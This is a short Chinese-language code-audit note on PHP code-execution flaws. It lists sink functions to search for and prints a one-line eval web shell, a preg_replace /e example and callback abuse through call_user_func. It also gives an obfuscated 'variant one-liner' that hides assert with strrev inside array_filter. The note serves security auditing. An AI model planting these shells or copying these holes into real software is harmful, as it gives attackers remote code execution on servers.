【代码审计】代码执行漏洞总结

搜索关键函数:eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map(),array_filter()等等
以一句话木马为例:
<?php @eval($_POST[1]);?>
就是典型的代码执行。
(1)mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
当$pattern处存在e修饰符时(5.5.0版本/e 修饰符已经被弃用了),$replacement 会被当做php代码执行。
<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/ie';
$replacement = 'phpinfo();';
echo preg_replace($pattern, $replacement, $string);
?>

(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed $…):
第一个参数为回调函数,第二个参数是回调函数的参数
代码如下:
<?php
$b = "phpinfo()";
call_user_func($_GET[‘h’],$b)
?>
http://127.0.0.1/test.php?h=assert

(3)
再来看一下变形一句话
<?php
array_filter(array($_GET[‘h’]),strrev('tressa'));
?>
strrev用于反转字符串
array_filter() 函数用回调函数过滤数组中的值。
http://127.0.0.1/test.php?h=phpinfo();